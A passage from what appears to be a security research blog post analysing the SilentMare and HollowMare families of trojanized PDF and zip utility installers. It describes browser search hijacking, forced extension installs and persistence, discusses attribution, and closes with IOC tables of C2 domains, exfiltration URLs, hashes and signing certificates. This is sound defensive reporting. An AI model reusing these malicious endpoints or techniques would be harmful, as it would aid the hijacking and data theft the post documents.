class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The second variant we identified is a fake application called &lt;em&gt;OneZip&lt;/em&gt;. The
first publicly available sample we found was uploaded to VirusTotal in November
2025. This application is built from the same code base as ConvertyFile.
Instead of installing a browser extension, this version modifies a single file
in the browser&amp;rsquo;s profile folder. The specific file is determined by the C2
server, which also performs the modification. The installer simply uploads the
file to the server and overwrites the local file with the server&amp;rsquo;s response. We
are assuming it&amp;rsquo;s a configuration file because any running browser process is
killed before the overwrite, to ensure it doesn&amp;rsquo;t undo the change made by the
installer. The OneZip installer only targets Firefox.&lt;/p&gt;
&lt;p&gt;A similar functionality is used by &lt;em&gt;CrystalPDF&lt;/em&gt;, a fake application reported in
&lt;a href="https://x.com/struppigel/status/1977691895250772086"target="_blank" rel="noopener"&gt;October&lt;/a&gt; 2025 by Karsten
Hahn, and &lt;em&gt;PowerDoc&lt;/em&gt;. These fake applications share very similar behavior with
OneZip but are written in F# and C# instead of Go. CrystalPDF also targets
Google Chrome in addition to Firefox. This variant also added a scheduled task
so the application runs once per day and ensures its effects haven&amp;rsquo;t been
reverted.&lt;/p&gt;
&lt;p&gt;In January 2026, we discovered another fake application, &lt;em&gt;SagePDF&lt;/em&gt;. The
application is written in C# and shares a similar PDB path to CrystalPDF
(&lt;code&gt;C:\Git\f-ver2\Fv2Ui&lt;/code&gt; vs &lt;code&gt;C:\Git\v4_application\&lt;/code&gt;). The path suggests SagePDF
is the fourth generation. In this generation, search engine hijacking is
performed by interacting with the browser window, as with ConvertyFile. This
logic is implemented as a separate executable, XOR-encrypted within the main
binary. The persistence mechanism was also dropped. Since SagePDF is designed
to hijack the user&amp;rsquo;s default search engine in the browser, we assume that both
OneZip and CrystalPDF have the same intent.&lt;/p&gt;
&lt;p&gt;When SagePDF runs, it checks for the presence of an install ID stored at
&lt;code&gt;%TEMP%\UID\UID.txt&lt;/code&gt;. This same file is checked by another fake application
called &lt;em&gt;PDFDoc&lt;/em&gt;. The version of PDFDoc we have obtained does not do anything
malicious but it does share some more similarities with SagePDF. For example,
both have a video that is played to the user during the install. The resource
names are similar: &lt;code&gt;Sage.Files.SageAnimation.mp4&lt;/code&gt; and
&lt;code&gt;Doc.Files.PdfDocAnimation.mp4&lt;/code&gt;. Additionally, encryption logic is implemented
under the namespace &lt;code&gt;Cod&lt;/code&gt;: &lt;code&gt;Sage.Models.Cod&lt;/code&gt; and &lt;code&gt;Doc.Modles.Cod&lt;/code&gt;. The &lt;code&gt;Modles&lt;/code&gt;
in PDFDoc is likely a typo.&lt;/p&gt;
&lt;p&gt;PDFDoc is signed by a certificate issued to an organization called &lt;em&gt;TAMARISK
INTERACTIVE LTD&lt;/em&gt;. A different certificate issued to the same organization was
used to sign an application called &lt;em&gt;PowerPlayer&lt;/em&gt;. This variant performs search
engine hijacking. The method used is the same keystroke injection method as
used by ConvertyFile and SagePDF.&lt;/p&gt;
&lt;p&gt;Overall, HollowMare&amp;rsquo;s only goal is either to force-install a browser extension
or to change the user&amp;rsquo;s default search engine. Most of the time, the installer
does not include an application. Instead, the installer is only used to perform
the modifications to the user&amp;rsquo;s browser. Once the installer is done, it sends
the user to a web application with the functionality the user is looking for.&lt;/p&gt;
&lt;h2&gt;Attribution&lt;span class="hx:absolute hx:-mt-20" id="attribution"&gt;&lt;/span&gt;
&lt;a href="#attribution" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;When we compare SilentMare and HollowMare to each other, we see some
similarities and some differences. They are both delivered via a custom-made
installer that creates a desktop shortcut and adds uninstalling instructions to
the Windows registry. The installers collect telemetry at each step of the
installation process. Additionally, both families track the installed machine
via a generated &lt;em&gt;GUID&lt;/em&gt; that is stored in a flat file.&lt;/p&gt;
&lt;p&gt;The use of a custom installer allows the threat actor to perform hidden
activity on the user&amp;rsquo;s machine while the installer is running. Both families
use string obfuscations to hide some of these activities from static analyzers.
While both obfuscate the strings, the techniques used are different except for
one instance where string reversal was used. Another shared anomaly is the
time-stomping of the PE timestamp with a future timestamp.&lt;/p&gt;
&lt;p&gt;On the implementation side, the two families are very different. Both are using
multiple programming languages. HollowMare&amp;rsquo;s language change appears more as an
evolution while SilentMare does it as part of staying undetected. The two
families also operate differently on the infected machine. For SilentMare,
persistence is important. It&amp;rsquo;s one of the first things the installer sets up.
HollowMare&amp;rsquo;s operation is more of a quick in-and-out. Perform the changes and
leave before the user realizes what has happened.&lt;/p&gt;
&lt;p&gt;Both families utilize some encryption but differently. HollowMare uses simple
XOR encryption using a short key for everything. SilentMare uses the same type
of encryption, but only for the telemetry data. The downloaded payloads are
encrypted with AES, which shows that SilentMare really wants to make sure the
payload is not captured. The network communication with the C2 server is
already performed over TLS, so this additional payload encryption ensures that
TLS-intercepting solutions do not capture the payload in plain format.&lt;/p&gt;
&lt;p&gt;While the code doesn&amp;rsquo;t show much shared between the two families, a view of the
infrastructure shows something different. First off, both families use
different, unconnected domains for different tasks. The domain hosting the
application, where users are lured via ads, is completely separate from the
&amp;ldquo;C2&amp;rdquo; domains. SilentMare even uses different domains for the telemetry and the
payloads. When we look at the application hosting infrastructure we can see
that they are connected. For example, the response header hash
&lt;a href="https://pilot.validin.com/detail?find=e5e01ee754e24e3039d4#tab=host_pairs"target="_blank" rel="noopener"&gt;e5e01ee754e24e3039d4&lt;/a&gt;
produced by &lt;a href="https://www.validin.com/"target="_blank" rel="noopener"&gt;Validin&lt;/a&gt; matched domains hosting the
SilentMare applications: ZapPDF, RapidDoc, PDFSkills, Easy2Convert, and
ConvertMate; and HollowMare applications: OneZip, PowerDoc, ConvertyFile, and
CrystalPDF. Another header hash, for example
&lt;a href="https://pilot.validin.com/detail?find=ede0ea86de24c452cb25#tab=host_pairs"target="_blank" rel="noopener"&gt;ede0ea86de24c452cb25&lt;/a&gt;
was returned by servers serving both SilentMare (Easy2Convert and ConvertMate)
and HollowMare (PowerPlayer, PDFDoc, OneZip, and ConvertyFile).&lt;/p&gt;
&lt;p&gt;Additionally, the certificates used to sign both SilentMare and HollowMare
applications have been issued for Israeli entities based in Tel Aviv and the
neighboring cities Herzliya and Ra’anana. The name of the companies use a
similar format. This suggests that they are obtained from the same broker.&lt;/p&gt;
&lt;p&gt;From our analysis, we cannot conclude that SilentMare and HollowMare are
developed by the same threat actor. They do share some of the infrastructure
but this is not enough to conclude that the same threat actor is behind it. Our
theory is, either the threat actors are using the same supplier for
certificates and website building or they are independent suppliers to a third
threat actor that uses their malware.&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;span class="hx:absolute hx:-mt-20" id="conclusion"&gt;&lt;/span&gt;
&lt;a href="#conclusion" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Trojanized utility applications have made a strong comeback in 2024 and 2025.
SilentMare and HollowMare are two of the families spreading via this delivery
method, and they represent two different operating models. SilentMare is a
beachhead. It installs a persistent updater that waits for a payload from the
operator. HollowMare is a quick in-and-out. It hijacks the browser or
force-installs an extension while the installer is running, and then leaves.&lt;/p&gt;
&lt;p&gt;We have tracked SilentMare across three generations going back to 2024. The
threat actor swaps out the implementation language and adjusts the
cryptographic details between generations, but the operational pattern stays
the same: a custom installer, a scheduled task, an updater that checks in once
a day, and an AES-encrypted .NET payload that is loaded directly from memory.
We have not been able to retrieve a payload from any of the C2 servers, so the
end goal remains unknown.&lt;/p&gt;
&lt;p&gt;HollowMare is different. The installer does the malicious work itself, and
there is no second stage. The earliest variant installs a browser extension by
driving the browser window with synthetic keystrokes. Later variants modify a
file in the browser&amp;rsquo;s profile folder to hijack the default search engine. The
most recent variant we identified, SagePDF, returns to the keystroke-injection
method but drops persistence entirely. Because the only observed effect is
search engine hijacking or extension installation, we classify HollowMare as a
PUA rather than malware.&lt;/p&gt;
&lt;p&gt;The two families&amp;rsquo; infrastructure has overlaps but no code is shared. The
application-hosting domains for SilentMare and HollowMare applications are
returned by the same servers based on Validin response-header pivots. The
signing certificates are issued to Israeli entities based in Tel Aviv and
neighboring cities, with names that follow a similar format. This is not enough
to conclude that the same threat actor is behind both families. Our assessment
is that they either share the same suppliers for certificates and landing
pages, or they supply a third party that uses their tooling.&lt;/p&gt;
&lt;p&gt;From a defender&amp;rsquo;s perspective, the distinction between malware and PUA is not
useful here. A user has no way to tell, before installing, whether a downloaded
PDF tool will hijack their search engine, upload their documents to an unknown
server, or wait for a stealer payload. Even the applications that provide a
functional feature do so by sending the user&amp;rsquo;s files to a server. &lt;strong&gt;None of
these applications should be allowed in an enterprise environment&lt;/strong&gt;.&lt;/p&gt;
&lt;h2&gt;IOCs&lt;span class="hx:absolute hx:-mt-20" id="iocs"&gt;&lt;/span&gt;
&lt;a href="#iocs" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href="silent_mare.csv"&gt;Silent Mare CSV&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="hollow_mare.csv"&gt;Hollow Mare CSV&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Silent Mare&lt;span class="hx:absolute hx:-mt-20" id="silent-mare"&gt;&lt;/span&gt;
&lt;a href="#silent-mare" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;type value comment
sha256 08b9f93000512b45f8c2e8d3d6624536b366e67c40fd4b958db58e3a1d129c3d ConvertMate installer file hash
domain banifuri.com C2 domain contacted by ConvertMate installer
domain chrialletworton.com Affiliate domain contacted by ConvertMate installer
domain conmateapp.com Product website associated with ConvertMate installer
url https://banifuri.com/get-known-values C2 configuration fetch URL contacted by ConvertMate installer
url https://banifuri.com/log C2 telemetry exfiltration URL contacted by ConvertMate installer
url https://banifuri.com/pixel C2 conversion tracking pixel URL contacted by ConvertMate installer
url https://chrialletworton.com/524c5f6f-7ad4-4468-a535-e7598d5af5a3 Affiliate redirect URL launched by ConvertMate installer
certificate.subject AMARYLLIS SIGNAL LTD ConvertMate installer code-signing certificate subject
certificate.issuer GlobalSign GCC R45 EV CodeSigning CA 2020 ConvertMate installer code-signing certificate issuer
certificate.serial 77632688bc1b58d31bc7df0d ConvertMate installer code-signing certificate serial
filepath %LOCALAPPDATA%\ConvertMate\ Install directory created by ConvertMate installer
filepath %LOCALAPPDATA%\ConvertMate\id.txt User ID file dropped by ConvertMate installer
filepath %LOCALAPPDATA%\ConvertMate\Convert Mate.exe Main app dropped by ConvertMate installer
filepath %LOCALAPPDATA%\ConvertMate\UpdateRetreiver.exe Updater dropped by ConvertMate installer
filepath %LOCALAPPDATA%\ConvertMate\Uninstaller.exe Uninstaller dropped by ConvertMate installer
filepath %LOCALAPPDATA%\ConvertMate\favicon.ico Favicon dropped by ConvertMate installer
filepath %LOCALAPPDATA%\ConvertMate\conmate_update.ps1 PowerShell script temporarily dropped by ConvertMate installer
filepath %DESKTOP%\Convert Mate.lnk Desktop shortcut created by ConvertMate installer
scheduled_task ConvertMateTask Scheduled task created by ConvertMate installer for daily updater execution
sha256 09c2af472ab86b62a702e94a39df2bef09205f4249ed871cbeece751c1e7ef4f ConvertMate updater UpdateRetreiver.exe
domain confetly.com ConvertMate updater C2 domain
url https://confetly.com/auth ConvertMate updater authentication endpoint
url https://confetly.com/update ConvertMate updater encrypted payload download
url https://confetly.com/is5m ConvertMate updater success status reporting
url https://confetly.com/iserr ConvertMate updater error status reporting
certificate.subject AMARYLLIS SIGNAL LTD ConvertMate updater code-signing certificate subject (EV GlobalSign)
certificate.issuer GlobalSign ConvertMate updater code-signing certificate issuer
certificate.serial 77632688bc1b58d31bc7df0d ConvertMate updater code-signing certificate serial
filepath %APPDATA%\ConvertMate\id.txt ConvertMate updater reads user ID and install date
filepath UpdateRetreiver.exe ConvertMate updater binary filename (misspelled Retriever)
sha256 ecf876ac0225934c183cdf76f55f0ba2d1c5cf86a52d2ba882cdc33eda11f878 Easy2Convert installer main binary
domain caliberti.com Easy2Convert installer C2 domain
domain www.ez2convertapp.com Easy2Convert installer product website
url https://caliberti.com/client Easy2Convert installer C2 configuration endpoint
url https://caliberti.com/variables Easy2Convert installer C2 telemetry beacon endpoint
url https://www.ez2convertapp.com/toconvert-eula Easy2Convert installer EULA page
url https://www.ez2convertapp.com/toconvert-privacy Easy2Convert installer privacy policy page
certificate.subject BLUE TAKIN LTD Easy2Convert installer code-signing certificate subject
certificate.issuer GlobalSign GCC R45 EV CodeSigning CA 2020 Easy2Convert installer code-signing certificate issuer
certificate.serial 0a6047dea944141527d85e24 Easy2Convert installer code-signing certificate serial
filepath %LOCALAPPDATA%\Easy2Conver\ Easy2Convert installer installation directory
filepath %LOCALAPPDATA%\Easy2Conver\Easy2Convert.exe Easy2Convert installer self-copy
filepath %LOCALAPPDATA%\Easy2Conver\Easy2ConvertUpdater.exe Easy2Convert installer dropped persistent updater
filepath %LOCALAPPDATA%\Easy2Conver\Uninstall.exe Easy2Convert installer dropped uninstaller
filepath %LOCALAPPDATA%\Easy2Conver\u.txt Easy2Convert installer persistent UUID tracking file
filepath %USERPROFILE%\Desktop\Easy2Convert.lnk Easy2Convert installer desktop shortcut
scheduled_task Easy2ConvertTask Easy2Convert installer COM-based scheduled task running every 10 minutes
sha256 27262f4bf8096f04e53309d4ce603cfbeb27ed10abdf1c461d3ccb14e012f61e Easy2Convert updater binary (Easy2ConvertUpdater.exe)
domain hiko.lakienti.com Easy2Convert updater C2 domain
url https://hiko.lakienti.com/check-for-updates Easy2Convert updater C2 check-in endpoint
url https://hiko.lakienti.com/get-update Easy2Convert updater encrypted payload download endpoint
url https://hiko.lakienti.com/status-ok Easy2Convert updater success reporting endpoint
url https://hiko.lakienti.com/status-bad Easy2Convert updater failure reporting endpoint
certificate.subject BLUE TAKIN LTD Easy2Convert updater code-signing certificate subject
certificate.issuer GlobalSign Easy2Convert updater code-signing certificate issuer (EV)
certificate.serial 0a6047dea944141527d85e24 Easy2Convert updater code-signing certificate serial
filepath %APPDATA%\Easy2Convert\u.txt Easy2Convert updater user ID and timestamp source file
filepath Easy2ConvertUpdater.exe Easy2Convert updater binary filename
sha256 5810795a6596bfe8059a9e499ee5e4b7341207d8eb0b4a4f6dbc6c0f60de71c2 PDF Skills installer PDFSkills.exe
domain val.skillcli.com PDF Skills installer C2 config domain
domain cbn.skillcli.com PDF Skills installer C2 telemetry domain
domain visit.keyguardai.com PDF Skills installer affiliate domain
domain www.pdfskillsapp.com PDF Skills installer product/thank-you domain
url https://val.skillcli.com/v6 PDF Skills installer C2 configuration retrieval (XOR-encrypted)
url https://cbn.skillcli.com/r PDF Skills installer telemetry exfiltration (XOR-encrypted)
url https://visit.keyguardai.com/click?pid=496&amp;amp;offer_id=14039178 PDF Skills installer KeyGuard AI affiliate URL
url https://www.pdfskillsapp.com/thanks?userid=&amp;lt;GUID&amp;gt; PDF Skills installer post-install thank-you page
certificate.subject RED ROOT LTD PDF Skills installer code signing cert subject
certificate.issuer GlobalSign GCC R45 EV CodeSigning CA 2020 PDF Skills installer code signing cert issuer
certificate.serial 6838e670ea30dfa3294ea278 PDF Skills installer code signing cert serial (expired 2025-02-26)
filepath %APPDATA%\PDFSkills\ PDF Skills installer admin install directory
filepath %LOCALAPPDATA%\PDFSkills\ PDF Skills installer non-admin install directory
filepath &amp;lt;InstallDir&amp;gt;\Update.exe PDF Skills installer dropped malware loader stub
filepath &amp;lt;InstallDir&amp;gt;\Update.dll PDF Skills installer dropped malware loader DLL
filepath &amp;lt;InstallDir&amp;gt;\PDFSkillsApp.exe PDF Skills installer dropped legitimate PDF app
filepath &amp;lt;InstallDir&amp;gt;\Uninstall.exe PDF Skills installer dropped uninstaller
filepath &amp;lt;InstallDir&amp;gt;\Updates.zip PDF Skills installer dropped (then deleted) payload archive
filepath &amp;lt;InstallDir&amp;gt;\update_task.ps1 PDF Skills installer dropped PowerShell task script (admin)
filepath &amp;lt;InstallDir&amp;gt;\update_task_ad.ps1 PDF Skills installer dropped PowerShell task script (non-admin)
filepath &amp;lt;InstallDir&amp;gt;\skillsUserId.txt PDF Skills installer persistent user ID file
filepath %APPDATA%\SMCR\userId.txt PDF Skills installer backup user ID file
filepath %DESKTOP%\PDFSkillsApp.lnk PDF Skills installer desktop shortcut
scheduled_task UpdateTaskZT PDF Skills installer daily persistence task executing Update.exe
sha256 876a7e9c2d54eea24720d6554a864db6aab12f30fe135598c16f8c23a8a7baf7 PDF Skills updater Update.exe managed stub
sha256 5ad036c7f0f52bc70187b00bf92c0eb8a2fbbc34a69d4f06e313ac451387b513 PDF Skills updater Update.dll native loader
domain pwrtail.com PDF Skills updater primary C2 domain
domain cbn.skillcli.com PDF Skills updater telemetry C2 domain
url https://pwrtail.com/update/auth PDF Skills updater C2 authentication endpoint
url https://pwrtail.com/update/download PDF Skills updater C2 payload download endpoint
url https://cbn.skillcli.com/r PDF Skills updater telemetry exfiltration endpoint
filepath %APPDATA%\PDFSkills\skillsUserId.txt PDF Skills updater persistent user ID file read
filepath %LOCALAPPDATA%\PDFSkills\skillsUserId.txt PDF Skills updater alternate user ID file location
filepath %APPDATA%\PDFSkills\PDFSkillsApp.exe PDF Skills updater installation date source
filepath %APPDATA%\PDFSkills PDF Skills updater application data folder
filepath Update.exe PDF Skills updater managed loader binary
filepath Update.dll PDF Skills updater native/mixed-mode loader DLL
sha256 a8df2614154fb621c8e63df63d6aa9251eb6f184151d118a60b0dc902a4bd021 Rapid Doc updater (HibbyRAT) RapiddocUpdater.exe
domain segataw.com Rapid Doc updater C2 domain
url https://segataw.com/ Rapid Doc updater base C2 URL
url https://segataw.com/auth_product Rapid Doc updater authentication beacon endpoint
url https://segataw.com/gupdate Rapid Doc updater encrypted payload delivery endpoint
url https://segataw.com/product_report Rapid Doc updater telemetry reporting endpoint
filepath %LOCALAPPDATA%\Rapidoc\ Rapid Doc updater persistence directory
filepath %LOCALAPPDATA%\Rapidoc\rapidoc-file.txt Rapid Doc updater GUID fingerprint file
sha256 84459f055a271cf9229ff0aa82981b47a2870f1ea6307a6078a30ae67eae1762 Zap PDF installer (Zapdf.exe)
domain alexinok.com Zap PDF installer C2 domain
domain zappdfapp.com Zap PDF installer product website (EULA/privacy)
url https://alexinok.com/hwmi Zap PDF installer C2 configuration fetch endpoint
url https://alexinok.com/agg Zap PDF installer telemetry exfiltration endpoint
url https://alexinok.com/Zp2s Zap PDF installer Chrome detection signal endpoint
url https://alexinok.com/zpdfupd Zap PDF installer updater download endpoint (base64 ZIP)
url https://www.zappdfapp.com/zap-eula? Zap PDF installer EULA page
url https://www.zappdfapp.com/zap-privacy? Zap PDF installer privacy policy page
filepath %LOCALAPPDATA%\Zapdf\ Zap PDF installer install directory
filepath %LOCALAPPDATA%\Zapdf\Zapdf.exe Zap PDF installer main application dropped
filepath %LOCALAPPDATA%\Zapdf\Zapdf_txt.txt Zap PDF installer user ID (GUID) file
filepath %LOCALAPPDATA%\Zapdf\ZapUpdater\ZapUpdater.exe Zap PDF installer downloaded updater binary
filepath %LOCALAPPDATA%\Zapdf\extract Zap PDF installer temp base64-decoded ZIP path
filepath %DESKTOP%\Zapdf.lnk Zap PDF installer desktop shortcut
scheduled_task Zapdf Zap PDF installer daily persistence scheduled task (runs ZapUpdater.exe)
sha256 912479bf09b5c7454ac6c052e539c30924454ad1129861bf7e16f48eeee733ef Zap PDF updater ZapUpdater.exe main loader
sha256 e1e27af7b07eeedf5ce71a9255f0422816a6fc5849a483c6714e1b472044fa9d Zap PDF updater embedded Newtonsoft.Json.dll (legitimate dependency)
domain domenget.com Zap PDF updater C2 domain
url https://domenget.com/ Zap PDF updater C2 base URL
url https://domenget.com/login Zap PDF updater C2 login endpoint
url https://domenget.com/post Zap PDF updater C2 payload download endpoint
url https://domenget.com/pdata Zap PDF updater C2 metrics telemetry endpoint
filepath %LOCALAPPDATA%\Application\config.dat Zap PDF updater formatted timestamp storage
filepath %LOCALAPPDATA%\Zapdf\Zapdf_txt.txt Zap PDF updater persistent victim GUID file
filepath %LOCALAPPDATA%\Zapdf\ Zap PDF updater created directory
filepath %LOCALAPPDATA%\Application\ Zap PDF updater created directory
sha256 2014c84faf5d71a5a5cc77713e136e1ebe789565aa12ce0731a8add53bca078f ZipThis installer main binary
domain apb.thisilient.com ZipThis installer C2 config subdomain
domain can.thisilient.com ZipThis installer C2 telemetry subdomain
domain sts.thisilient.com ZipThis installer conversion tracking subdomain
domain www.zipthisapp.com ZipThis installer product domain
domain visit.keyguardai.com ZipThis installer affiliate domain
url https://apb.thisilient.com/v6 ZipThis installer C2 configuration retrieval (XOR-encrypted)
url https://can.thisilient.com/r ZipThis installer telemetry exfiltration (XOR-encrypted)
url https://sts.thisilient.com/st ZipThis installer conversion tracking pixel
url &amp;#34;https://visit.keyguardai.com/click?pid=496&amp;amp;offer_id=14039178&amp;#34; ZipThis installer KeyGuard AI affiliate URL
url https://www.zipthisapp.com/success?u=&amp;lt;GUID&amp;gt; ZipThis installer post-install success page
url https://www.zipthisapp.com/see-you-later ZipThis installer uninstall page
certificate.subject LIGHTNER TOK LTD ZipThis installer code signing cert subject
certificate.issuer GlobalSign GCC R45 EV CodeSigning CA 2020 ZipThis installer code signing cert issuer
certificate.serial 4469809aa0e206829c99cd18 ZipThis installer code signing cert serial (expired 2025-02-21)
filepath &amp;lt;InstallDir&amp;gt;\Updater.exe ZipThis installer dropped persistent updater/loader
filepath &amp;lt;InstallDir&amp;gt;\ZipThisApp.exe ZipThis installer dropped main app
filepath &amp;lt;InstallDir&amp;gt;\Uninstall.exe ZipThis installer dropped uninstaller
filepath &amp;lt;InstallDir&amp;gt;\update_task.ps1 ZipThis installer dropped non-admin scheduled task script
filepath &amp;lt;InstallDir&amp;gt;\update_task_ad.ps1 ZipThis installer dropped admin scheduled task script
filepath &amp;lt;InstallDir&amp;gt;\zipthisUserId.txt ZipThis installer persistent user ID file
filepath %APPDATA%\SMCR\userId.txt ZipThis installer shared backup user ID (cross-product with PDFSkills)
filepath %DESKTOP%\ZipThisApp.lnk ZipThis installer desktop shortcut
filepath ziptest.txt ZipThis installer test-run indicator file
filepath %APPDATA%\ZipThis\ ZipThis installer admin install folder
filepath %LOCALAPPDATA%\ZipThis\ ZipThis installer non-admin install folder
filepath Updates.zip ZipThis installer embedded payload archive (contains Updater.exe)
scheduled_task UpdateTaskZT ZipThis installer daily scheduled task running Updater.exe
sha256 cbdfe04b8f754e5e6150936ee604f0a478b79c6d0466ee155775ead575adea90 ZipThis updater Updater.exe managed stub
sha256 27a7ba032f7d6cf787454c2fd036c95d13be9fb489b26fd9050659aa23498dd6 ZipThis updater Updater.dll native loader
domain tzpdld.com ZipThis updater primary C2 domain
domain can.thisilient.com ZipThis updater telemetry C2 domain
url https://tzpdld.com/update/auth ZipThis updater C2 authentication endpoint
url https://tzpdld.com/update/download ZipThis updater C2 payload download endpoint
url https://can.thisilient.com/r ZipThis updater telemetry exfiltration endpoint
certificate.subject LIGHTNER TOK LTD ZipThis updater Updater.exe code-signing certificate subject (EV GlobalSign expired 2025-02-21)
certificate.serial 4469809aa0e206829c99cd18 ZipThis updater Updater.exe code-signing certificate serial
filepath %APPDATA%\ZipThis\zipthisUserId.txt ZipThis updater persistent user ID file read
filepath %LOCALAPPDATA%\ZipThis\zipthisUserId.txt ZipThis updater alternate user ID file location
filepath %APPDATA%\ZipThis\ZipThisApp.exe ZipThis updater installation date timestamp source
filepath Updater.exe ZipThis updater managed stub binary
filepath Updater.dll ZipThis updater native loader DLL&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;Hollow Mare&lt;span class="hx:absolute hx:-mt-20" id="hollow-mare"&gt;&lt;/span&gt;
&lt;a href="#hollow-mare" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;type value comment
sha256 287a3a052ff0b2c495658fa90c5a9bd76f16d832d82138f6f8e87f9e2f578ab1 SagePDF installer file hash
domain ralogoto.com SagePDF installer C2 domain
url https://ralogoto.com/SGP SagePDF installer C2 config URL
url https://ralogoto.com/SGPD SagePDF installer C2 telemetry URL
certificate.subject Chrono Orion LTD SagePDF installer code-signing certificate subject
certificate.issuer Sectigo Public Code Signing CA EV R36 SagePDF installer code-signing certificate issuer
certificate.serial 009c2bafbcb665dc15d00e2767278e1656 SagePDF installer code-signing certificate serial
filepath %TEMP%\SagePdf\SageId.txt SagePDF installer user ID file
filepath %TEMP%\UID\UID.txt SagePDF installer legacy user ID file
filepath %TEMP%\Sage.Files.Pron.ico SagePDF installer dropped icon file
filepath %USERPROFILE%\Desktop\&amp;lt;AppNick&amp;gt;.lnk SagePDF installer dropped desktop shortcut
sha256 9ee6348755a9162f52d79a9ddac460d35f071cbe5bf074d8e88a3c6d07cd8af9 SagePDF Stage 2 encrypted resource Sage.Resources.MainProcessLib.enc
sha256 c0c7640bab371f198a6bbe58e1cfb124877eb73e27084f66e0d35ae2ed47c650 SagePDF Stage 2 decrypted MainProcessLib.dll
filepath C:\Git\v4_application\V4_Application\MainProcessLib\obj\Release\MainProcessLib.pdb SagePDF Stage 2 PDB build path from MainProcessLib.dll
certificate.subject Chrono Orion LTD SagePDF Stage 2 code signing certificate subject (Israel)
sha256 3d82200083a86df09c3b16c9095b844738a76863b1b01092b6c4dbef3b974b12 ConvertyFile stealer/browser extension installer (BanditStealer)
domain olienti.com ConvertyFile C2 server
domain convertyfileapp.com ConvertyFile fake product website
url https://olienti.com/vars ConvertyFile C2 victim registration endpoint
url https://olienti.com/pass ConvertyFile C2 data exfiltration endpoint
url https://olienti.com/boom ConvertyFile C2 success reporting endpoint
url https://www.convertyfileapp.com/converty-thank-you ConvertyFile post-install redirect (thank-you page)
certificate.subject &amp;#34;TAU CENTAURI LTD Central District Ra&amp;#39;anana IL&amp;#34; ConvertyFile code-signing certificate subject
certificate.issuer GlobalSign GCC R45 EV CodeSigning CA 2020 ConvertyFile code-signing certificate issuer
certificate.serial 115d73560ce2dd101d5bd925 ConvertyFile code-signing certificate serial
filepath %TEMP%\ConvertyFile\CFInfo.txt ConvertyFile dropped persistent victim UUID file
filepath %TEMP%\ConvertyFile\favicon.ico ConvertyFile dropped extracted icon
filepath %TEMP%\ConvertyFile\uninstall.exe ConvertyFile dropped extracted uninstaller
filepath %USERPROFILE%\Desktop\ConvertyFile.lnk ConvertyFile created desktop shortcut (persistence)
sha256 598da788600747cf3fa1f25cb4fa1e029eca1442316709c137690e645a0872bb CrystalPDF stealer/installer main binary
sha256 0f76f6a9f7c2575f9312953d37b51a8e1a7cc38a0758e272deef25bd6593306e CrystalPDF embedded decoy payload Crystal PDF.exe
domain strongdwn.com CrystalPDF primary C2 (data theft &amp;#43; telemetry)
domain negmari.com CrystalPDF attribution/tracking server
domain cnvr.windwn.com CrystalPDF embedded payload conversion API
url https://strongdwn.com/initiate CrystalPDF session initialization
url https://strongdwn.com/convert CrystalPDF Firefox data exfiltration
url https://strongdwn.com/merge CrystalPDF Chrome data exfiltration
url https://strongdwn.com/abg CrystalPDF telemetry reporting
url https://negmari.com/Cry CrystalPDF visit info / campaign attribution
url https://negmari.com/st CrystalPDF event notification
url https://cnvr.windwn.com/api CrystalPDF embedded payload PDF conversion API
certificate.subject VAST LAKE LTD CrystalPDF outer binary code-signing cert subject
certificate.issuer GlobalSign GCC R45 EV CodeSigning CA 2020 CrystalPDF outer binary code-signing cert issuer
certificate.serial 032a466477d8c628044fd4b6 CrystalPDF outer binary code-signing cert serial
certificate.subject LONG SOUND LTD CrystalPDF embedded payload code-signing cert subject
certificate.issuer GlobalSign GCC R45 EV CodeSigning CA 2020 CrystalPDF embedded payload code-signing cert issuer
